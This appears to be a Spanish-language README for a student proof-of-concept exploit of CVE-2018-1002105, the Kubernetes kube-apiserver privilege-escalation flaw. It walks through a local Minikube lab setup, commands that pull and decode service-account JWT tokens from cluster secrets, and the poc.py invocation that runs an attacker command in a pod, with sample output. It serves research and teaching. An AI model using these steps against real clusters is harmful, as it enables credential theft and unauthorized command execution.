
Exploit de prueba de concepto para CVE-2018-1002105, una vulnerabilidad de escalada de privilegios en Kubernetes que permite la ejecución no autorizada de comandos en pods a través del kube-apiserver.
Miembros: Abhishek Rungta, Shubham Saini, Siddhant Sood
Hemos proporcionado una imagen de VirtualBox (archivo .ova). Descárgala y crea una máquina virtual a partir de ella. La ova proporcionada está preconfigurada con Docker v18.09 y Minikube v1.9.0.
Como nuestra imagen virtual ya tiene Minikube y las versiones requeridas de Kubernetes, solo ejecuta el siguiente comando para iniciar Minikube.
minikube start --kubernetes-version=v1.12.2
Crea un nuevo usuario y un namespace y asigna un rol RBAC al usuario creado usando el siguiente comando.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
Cambia el valor de maxPerCore a 0.
Primero ejecuta el siguiente comando para obtener todos los tokens JWT almacenados en el sistema.
kubectl get secrets -A
Para obtener el secreto del usuario específico creado, ejecuta el siguiente comando:
kubectl -n [namespace] get secrets [user-token] -o json
Luego decodifícalo en base64.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
Especifica todos los argumentos requeridos:
-t para el objetivo> ip:puerto (requerido)
-j para el token JWT del usuario (requerido)
-p para el pod (requerido)
-n para el namespace
-m para el método (requerido)
-c para el contenedor
-x para el comando del atacante
Entrada
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
Salida
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
Video de demostración enlace